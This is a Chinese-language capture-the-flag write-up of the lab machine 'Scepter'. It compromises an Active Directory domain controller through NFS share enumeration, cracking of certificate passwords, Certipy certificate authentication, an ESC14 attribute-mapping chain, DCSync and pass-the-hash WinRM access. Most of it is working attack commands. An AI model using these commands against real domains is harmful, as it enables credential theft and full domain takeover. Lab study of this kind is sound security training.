侦察与枚举
Nmap扫描
Nmap扫描发现25个开放TCP端口,包括标准域控制器端口(53、88、135、139、389、445等)以及NFS(2049)和WinRM(5985/5986)服务。域名为scepter.htb,主机名为DC01。
NFS共享枚举
使用showmount发现可挂载的NFS共享:
1
2
3
|
showmount -e dc01.scepter.htb
Export list for dc01.scepter.htb:
/helpdesk (everyone)
|
挂载共享后找到5个文件:
- baker.crt
- baker.key
- clark.pfx
- lewis.pfx
- scott.pfx
证书分析与密码破解
证书元数据提取
baker.crt包含用户信息:
1
|
subject=DC=htb, DC=scepter, CN=Users, CN=d.baker, emailAddress=d.baker@scepter.htb
|
PFX文件密码破解
使用pfx2john提取哈希,John破解出密码均为"newpassword":
1
2
|
pfx2john.py clark.pfx > pfx.hashes
john pfx.hashes --wordlist=rockyou.txt
|
PEM密钥破解
使用pem2john提取哈希,Hashcat模式24420破解出密码"newpassword":
1
|
hashcat baker.hash rockyou.txt -m 24420
|
用户认证与权限提升
证书认证
使用Certipy成功认证d.baker用户:
1
|
certipy auth -pfx baker.pfx -dc-ip 10.10.11.65
|
Bloodhound分析
收集域信息发现d.baker对a.carter有ForceChangePassword权限:
1
|
netexec ldap scepter.htb -u d.baker -H <hash> --bloodhound
|
密码修改与横向移动
修改a.carter密码后获得新凭据:
1
|
netexec smb scepter.htb -u d.baker -H <hash> -M change-password -o USER=a.carter NEWPASS=Welcome1
|
AD CS攻击与ESC14利用
证书模板分析
发现StaffAccessCertificate模板存在ESC9漏洞特征,但需要其他条件:
1
|
certipy find -vulnerable -u d.baker -hashes :<hash> -dc-ip 10.10.11.65
|
ESC14攻击链
- 修改d.baker的mail属性匹配h.brown的altSecurityIdentities
- 申请StaffAccessCertificate证书
- 使用证书认证为h.brown
1
2
3
|
bloodyAD set object d.baker mail -v h.brown@scepter.htb
certipy req -username d.baker@scepter.htb -hashes :<hash> -template StaffAccessCertificate
certipy auth -pfx d.baker.pfx -username h.brown
|
最终提权与域控控制
p.adams账户攻击
发现h.brown对p.adams的altSecurityIdentities有写权限,重复ESC14攻击:
1
2
3
|
bloodyAD set object p.adams altSecurityIdentities -v 'X509:<RFC822>0xdf@scepter.htb'
bloodyAD set object d.baker mail -v 0xdf@scepter.htb
certipy auth -pfx d.baker.pfx -username p.adams
|
DCSync攻击
p.adams作为Replication Operators组成员,可执行DCSync获取所有域用户哈希:
1
|
secretsdump.py scepter.htb/p.adams@DC01.scepter.htb -hashes :<hash>
|
管理员访问
使用Administrator哈希通过WinRM获得完全控制:
1
|
evil-winrm -i DC01.scepter.htb -u administrator -H <hash>
|
额外发现
禁用账户分析
发现其他证书认证失败是因为相应用户账户被禁用,而非证书撤销:
1
|
get-ADuser o.scott # 显示Enabled: False
|
ESC9配置分析
StaffAccessCertificate模板因包含电子邮件要求而无法直接利用ESC9,需要调整名称标志设置。